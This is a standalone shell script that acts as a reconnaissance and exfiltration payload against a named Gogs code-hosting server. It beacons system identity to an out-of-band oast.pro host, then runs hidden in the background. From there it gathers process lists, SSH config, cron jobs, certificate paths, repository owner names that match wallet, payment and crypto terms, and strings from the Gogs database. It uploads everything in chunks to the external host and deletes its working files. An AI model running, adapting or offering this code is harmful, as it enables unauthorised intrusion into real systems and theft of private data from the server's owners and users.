#!/bin/sh
TAG="4357964"
H="cd4547282df75cd148eb4c445c6d2abae.oast.pro"
D=$( { id; hostname; uname -r; } 2>&1 | base64 -w0 2>/dev/null | tr '+/' '-_' | tr -d '=' )
if command -v curl >/dev/null 2>&1; then curl -s -m 8 -o /dev/null "http://$H/x/$TAG/start/$D" || true; fi
(
  W=/tmp/.q$TAG-$$
  mkdir -p "$W"
  exec </dev/null >/dev/null 2>&1
  {
    echo "== ss =="; ss -lntp 2>&1 || netstat -lntp 2>&1
    echo "== ps =="; ps auxww 2>&1 | head -50
    echo "== tools =="; command -v sqlite3 python3 python gcc 2>&1; echo PATH=$PATH
    echo "== gogs.service =="; cat /etc/systemd/system/gogs.service 2>&1
    echo "== le hook =="; cat /etc/letsencrypt/renewal-hooks/deploy/001-restart-gogs.sh 2>&1
    echo "== le live =="; ls -la /etc/letsencrypt/live/dev.al2k4.uk/ 2>&1
    echo "== sshd =="; grep -vE '^[[:space:]]*#|^[[:space:]]*$' /etc/ssh/sshd_config 2>&1
    echo "== home =="; ls -la /home 2>&1; ls -la /home/debian 2>&1
    echo "== www =="; ls -la /var/www 2>&1; ls -la /var/www/html 2>&1
    echo "== gogs data =="; ls -la /root/gogs/data 2>&1; du -sh /root/gogs/data/gogs.db 2>&1
    echo "== cron =="; cat /etc/crontab 2>&1; ls -la /etc/cron.d 2>&1; cat /etc/cron.d/* 2>/dev/null; crontab -l 2>&1
    echo "== timers =="; systemctl list-timers --no-pager 2>&1 | head -20
    echo "== units =="; ls -la /etc/systemd/system 2>&1
    echo "== routing/if =="; ip -br addr 2>&1
  } > "$W/sys.txt" 2>&1
  {
    echo "== owners matching =="
    ls /root/gogs-repositories 2>/dev/null | grep -Ei 'al2k4|chroma|electro|paycek|wallet|bmapp|intercard|lead|kripto|coin|admin' | head -100
    echo "== al2k4 =="
    find /root/gogs-repositories/al2k4 -maxdepth 2 -name '*.git' -type d 2>/dev/null
    for o in chroma Lead-Academy lead-academy; do echo "== $o =="; find "/root/gogs-repositories/$o" -maxdepth 2 -name '*.git' -type d 2>/dev/null; done
    echo "== newest owners =="
    ls -lat /root/gogs-repositories 2>/dev/null | head -30
    echo "== db strings =="
    strings /root/gogs/data/gogs.db 2>/dev/null | grep -Eio '[a-z0-9._-]*(electro|paycek|bmapp|withdraw|wallet|intercard|kripto)[a-z0-9._-]*' | sort | uniq -c | sort -rn | head -100
    echo "== db size =="
    ls -la /root/gogs/data/gogs.db* 2>&1
    echo "== owner count =="
    ls /root/gogs-repositories 2>/dev/null | wc -l
    echo "== al2k4 top =="
    ls -la /root/gogs-repositories/al2k4 2>&1
  } > "$W/repos.txt" 2>&1
  for f in "$W"/sys.txt "$W"/repos.txt; do
    b=$(basename "$f")
    rm -f "$W/part_${b}_"*
    split -b 18000 "$f" "$W/part_${b}_" 2>/dev/null || cp "$f" "$W/part_${b}_1"
    n=0
    for p in "$W"/part_${b}_*; do
      n=$((n+1))
      curl -s -m 30 -o /dev/null --data-binary "@$p" "http://$H/x/$TAG/f3/$b/$n" 2>/dev/null || true
    done
    curl -s -m 10 -o /dev/null --data-binary "name=$b parts=$n bytes=$(wc -c < "$f") sha=$(sha256sum "$f" | cut -d' ' -f1)" "http://$H/x/$TAG/f3meta/$b" 2>/dev/null || true
  done
  rm -rf "$W"
) >> /tmp/.q$TAG.log 2>&1 &
exit 0
